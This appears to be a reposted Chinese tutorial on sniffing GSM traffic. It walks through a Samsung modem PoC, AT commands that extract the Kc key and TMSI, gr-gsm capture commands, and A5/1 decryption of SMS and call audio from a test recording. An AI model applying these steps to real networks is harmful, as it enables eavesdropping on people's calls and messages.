GSM Hacking Part② :使用SDR捕獲GSM網絡數據並解密


0×00

在文章第一部分 GSM Hacking Part① :使用SDR掃描嗅探GSM網絡 搭建了嗅探GSM流量的環境,在第二部中,我們來討論如何捕獲發短信以及通話過程中的流量,從捕獲到的數據中解密提取出短信文字以及通話語音。

0×01

1.1 獲取三星漏洞利用代碼:

這是三星的Modem interface exposed via USB通過該exp可對設備輸入AT指令進行調試(此方法僅適用於:Galaxy Note 3、Galaxy S4、Galaxy S5、Galaxy S6)。

AT 即Attention,AT指令用於終端設備與PC應用之間的連接與通信。

wget https://raw.githubusercontent.com/ud2/advisories/master/android/samsung/nocve-2016-0004/usbswitcher.c

1.2 源碼編譯libusb:

wget http://jaist.dl.sourceforge.net/project/libusb/libusb-0.1%20%28LEGACY%29/0.1.12/libusb-0.1.12.tar.gz
tar zxvf libusb-0.1.12.tar.gz
cd libusb-0.1.12/
./configure
make
make install
sudo ldconfig

1.3 gcc編譯PoC:

gcc usbswitcher.c -o switcher -lusb

0×02 獲取Kc、TMSI參數

插入三星設備,可以在/dev/ttyACM*中找到它:

2.1 switcher

busybox microcom /dev/ttyACM0

./switcher

這一步比較尷尬,需要反復執行才能成功進入交互界面,如果實在不行可以嘗試下一種方式,使用minicom:

2.2 minicom

minicom -D /dev/ttyACM0

通過AT指令獲取Kc\TMSI可參閱:Attacking the Baseband Modem of Mobile Phones to Breach the users’ Privacy and network Security

2.3 Kc

GSM系統中的加密也只是指無線路徑上的加密,防止BTS和MS之間交換客戶信息和客戶參數時不被非法個人或團體所得或監聽,在鑒權程序中,當客戶側計算SRES三參數組的提供時,同時用另一算法(A8算法)也計算出密鑰Kc。根據MSC/VLR發送出的加密命令,BTS側和MS側均開始使用Kc。在MS側,由Kc、TDAM幀號和加密命令M一起經A5算法,對客戶信息數據流進行加密,在無線路徑上傳送。在BTS側,把從無線信道上收到加密信息數據流、TDMA幀號和Kc,再經過A5算法解密后,傳送BSC和MSC。可以通過AT指令獲取KC值:

AT+CRSM=176.28448,0,0,9

演示視頻中,Crazy Danish Hacker獲得了該值為:5973237C3E96980303 丟棄最后兩位,即:5973237C3E9698033

0×03 信號捕獲

3.1 確定當前手機接入基站

手機在連入GSM基站時,我們可通過一些方式確定自己手機連入的是哪個基站、ARFCN是多少,安卓手機在2G狀態時,可在鍵盤撥號界面輸入

*#*#4636#*#*  

上面這個是安卓通用的如果你的手機沒反應,還可以嘗試

Samsung (Android) : *#*#197328640#*#* or *#0011#
iPhone (all) : *3001#12345#*撥號
HTC (Android) : *#*#7262626#*#*

進去以后能找到基站的MCC、MNC、ARFCN這些參數。

MCC 移動國家碼

MNC Mobile Network Code,移動網絡碼,共2位,中國聯通GSM系統使用01,中國移動GSM系統使用02

ARFCN 絕對無線頻道編號(Absolute Radio Frequency Channel Number – ARFCN ),是在GSM無線系統中,用來鑒別特殊射頻通道的編號方案。

手機開機后,即搜索廣播控制信道(BCCH)的載頻。因為系統隨時都向在小區中的各用戶發送出用廣播控制信息。手機收集到最強的(BCCH)對應的載頻頻率后,讀取頻率校正信道(FCCH),使手機(MS)的頻率與之同步。所以每一個用戶的手機在不同的位置(即不同的小區)的載頻是固定的,它是由GSM網絡運營商組網時確定,而不是由用戶的GSM手機來決定。

手機讀取同步信道(SCH)的信息后找出基地站(BTS)的認別碼,並同步到超高幀TDMA的幀號上。手機在處理呼叫前要讀取系統的信息。如:領近小區的情況、現在所處小區的使用頻率及小區是否可以使用移動系統的國家號碼和網絡號碼等等,這些信息都以BCCH上得到。

手機在請求接入信道(RACH)上發出接入請求的信息,向系統傳送SIM卡帳號等信息。系統在鑒權合格后,通過允許接入信道(AGCH)使GSM手機接入信道上並分配給GSM手機一個獨立專用控制信道(SDCCH)。手機在SDCCH上完成登記。在慢速隨路控制信道(SACCH)上發出控制指令。然后手機返回空閑狀態,並監聽BCCH和CCCH公共控制信道上的信息。

在Part 1 中937.4MHz這個基站的ARFCN為12,本部分假設我們的手機接入的是這個基站,接下來,我們通過SDR捕獲這個基站的下行數據包:

3.2 確定當前基站的下行頻率:

打開http://www.cellmapper.net/arfcn.php

結果:

Network Type    GSM (TDMA)
E/U/ARFCN    12
Band Name    GSM-900
Uplink Frequency 上行頻率 手機到基站
(phone to base station)    892.4 MHz
Downlink Frequency  下行頻率 基站到手機
(base station to phone)    937.4 MHz
Band Number    900

獲取Downlink Frequency 下行頻率 (base station to phone) :937.4 MHz 寫作:937400000

3.3捕獲下行數據包:

grgsm_capture.py -h
linux; GNU C++ version 4.8.4; Boost_105400; UHD_003.010.git-197-g053111dc

Usage: grgsm_capture.py [options]

RTL-SDR capturing app of gr-gsm.

Options:
  -h, --help            show this help message and exit //打印幫助信息
  -f FC, --fc=FC        Set frequency [default=none] //設定捕獲數據的中心頻率
  -a ARFCN, --arfcn=ARFCN  //設定ARFCN
                        Set ARFCN instead of frequency. In some cases you may
                        have to provide the GSM band also
  -g GAIN, --gain=GAIN  Set gain [default=30] //設定gain
  -s SAMP_RATE, --samp-rate=SAMP_RATE  //設定采樣率 默認2M
                        Set samp_rate [default=2M]
  -p PPM, --ppm=PPM     Set ppm [default=0]
  -b BURST_FILE, --burst-file=BURST_FILE
                        File where the captured bursts are saved
  -c CFILE, --cfile=CFILE
                        File where the captured data are saved
  --band=BAND           Specify the GSM band for the frequency. Available
                        bands are: P-GSM, DCS1800, PCS1900, E-GSM, R-GSM,
                        GSM450, GSM480, GSM850. If no band is specified, it
                        will be determined automatically, defaulting to 0.
  --args=ARGS           Set device arguments [default=]
  -v, --verbose         If set, the captured bursts are printed to stdout
  -T REC_LENGTH, --rec-length=REC_LENGTH
                        Set length of recording in seconds [default=none]
grgsm_capture.py -g 40 -a 12 -s 1000000 -c sms.cfile -T 20
-g 指定gain參數 40
-a ARFCN 12
-s 設定采樣率1M
-c 將捕獲到的數據存入sms.cfile
-T 設定時間

命令執行后可以用另外一部手機給接入ARFCN 12基站的手機打電話、發短信,這樣我們就實現了捕獲通話過程中的語音、短信數據包。

ls -lah sms.cfile

捕獲到數據包后再次查看KC、TMSI,確定這兩個數值沒有改變。

0×04 信號解碼

捕獲完數據以后再次獲取KC TMSI值:

minicom -D /dev/ttyACM0

4.1 KC:

AT+CRSM=176.28448,0,0,9

演示視頻中輸出結果為:5973237C3E96980303 丟棄最后兩位,即:5973237C3E969803

4.2 TMSI:

AT+CRSM=176.28542,0,0,11

演示視頻中輸出結果為:9062FF7632F8665610FF00 取其前4bytes,也就是前8字節,即:9062FF76

ls -lah voice.cfile

一起來看看解碼腳本的用法:

decode usage

grgsm_decode -h
Usage: grgsm_decode: [options]

Options:
  -h, --help            show this help message and exit //打印幫助信息
  -m CHAN_MODE, --mode=CHAN_MODE
                        Channel mode. Valid options are 'BCCH' (Non-combined
                        C0), 'BCCH_SDCCH4'(Combined C0), 'SDCCH8' (Stand-alone
                        control channel) and 'TCHF' (Traffic Channel, Full
                        rate)
  -t TIMESLOT, --timeslot=TIMESLOT
                        Timeslot to decode [default=0]
  -u SUBSLOT, --subslot=SUBSLOT
                        Subslot to decode. Use in combination with channel
                        type BCCH_SDCCH4 and SDCCH8
  -b BURST_FILE, --burst-file=BURST_FILE
                        Input file (bursts)
  -c CFILE, --cfile=CFILE
                        Input file (cfile)
  -v, --verbose         If set, the decoded messages (with frame number and
                        count) are printed to stdout
  -p, --print-bursts    If set, the raw bursts (with frame number and count)
                        are printed to stdout

  Cfile Options:
    Options for decoding cfile input.

    -f FC, --fc=FC      Frequency of cfile capture  //指定需解碼文件的中心頻率 (從哪個頻率捕獲就填多少)
    -a ARFCN, --arfcn=ARFCN  //指定ARFCN 同上,從哪個ARFCN捕獲就填多少
                        Set ARFCN instead of frequency. In some cases you may
                        have to provide the GSM band also
    --band=BAND         Specify the GSM band for the frequency. Available
                        bands are: P-GSM, DCS1800, PCS1900, E-GSM, R-GSM,
                        GSM450, GSM480, GSM850.If no band is specified, it
                        will be determined automatically, defaulting to 0.
    -s SAMP_RATE, --samp-rate=SAMP_RATE   //指定采樣率,默認1M
                        Sample rate of cfile capture [default=1M]
    --ppm=PPM           Set frequency offset correction [default=0]

  Decryption Options:
    Options for setting the A5 decryption parameters.

    -e A5, --a5=A5      A5 version [default=1]. A5 versions 1 - 3 supported //設定A5加密算法版本
    -k KC, --kc=KC      A5 session key Kc. Valid formats are //設定KC值
                        '0x12,0x34,0x56,0x78,0x90,0xAB,0xCD,0xEF' and
                        '1234567890ABCDEF'

  TCH Options:
    Options for setting Traffic channel decoding parameters.

    -d SPEECH_CODEC, --speech-codec=SPEECH_CODEC
                        TCH-F speech codec [default=FR]. Valid options are FR,
                        EFR, AMR12.2, AMR10.2, AMR7.95, AMR7.4, AMR6.7,
                        AMR5.9, AMR5.15, AMR4.75
    -o SPEECH_OUTPUT_FILE, --output-tch=SPEECH_OUTPUT_FILE //將解密后的文件另存為
                        TCH/F speech output file [default=/tmp/speech.au.gsm].

在接下來的解碼案例中,我們以gr-gsm開源項目的測試數據為例:https://github.com/ptrkrysik/test_data

測試數據已知參數如下:

ARFCN:725 
采樣率:$((100000000/174))
Kc:0x1E,0xF0,0x0B,0xAB,0x3B,0xAC,0x70,0x02
wget https://github.com/ptrkrysik/test_data/raw/master/vf_call6_a725_d174_g5_Kc1EF00BAB3BAC7002.cfile
mv vf_call6_a725_d174_g5_Kc1EF00BAB3BAC7002.cfile test.cfile
sudo wireshark -i lo
grgsm_decode -a 725 -s $((100000000/174)) -m BCCH -t 0 -c test.cfile

在Immediate Assignment中,我們可以確定廣播控制信道(HCCH)為: SDCCH、Timeslot:1

使用我們剛剛知道的參數再次解密:

grgsm_decode -a 725 -s $((100000000/174)) -c test.cfile -m SDCCH8 -t 1

在這一步我們解碼出的數據包數量比前幾步少了很多,我們可以通過Ciphering Mode Command這一欄的數據包確定A5類型:

A5算法在1989年由法國人開發,用於GSM系統的序列密碼算法。

A5它用於對從電話到基站連接的加密,先后開發了三個版本記作A5/1、A5/2、A5/3,如果沒有特別說明,通常所說的A5是指A5/1。

確定了加密算法,再次執行解密腳本:

grgsm_decode -a 725 -s $((100000000/174)) -c test.cfile -m SDCCH8 -t 1 -e 1 -k 0x1E,0xF0,0x0B,0xAB,0x3B,0xAC,0x70,0x02

在cc Setup這一項,可以看到Calling party BCD number – Calling party number(被叫手機顯示的主叫號碼):

Assignment Command一欄信息如下:

在上面這幅圖中我們確定了 CHAN_MODE 為TCHF,Timeslot為5,有了這些信息,我們便能從捕獲到的文件中提取出通話語音,其效果類似於通話監聽:

grgsm_decode -a 725 -s $((100000000/174)) -c test.cfile -m TCHF -t 5 -e 1 -k 0x1E,0xF0,0x0B,0xAB,0x3B,0xAC,0x70,0x02 -d FR -o /tmp/test.au.gsm

進入/tmp緩存目錄中,已經可以發現一個音頻文件了:

安裝VLC播放器:

sudo apt-get install vlc-nox
vlc  /tmp/test.au.gsm

耳機了傳來歪果仁酸爽“test”的聲音。解碼出音頻的文件:https://pan.baidu.com/s/1i5jn1A1

0×05 refer

GSM Sniffing: TMSI & KC Extraction – Software Defined Radio Series #9
Voice Decryption 語音解密
SMS Decryption 短信解密
SMS text messeges and voice calls sniffing
https://ccdcoe.org/cycon/2015/proceedings/16_xenakis_ntantogian.pdf

原文地址:http://www.freebuf.com/articles/wireless/111577.html


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM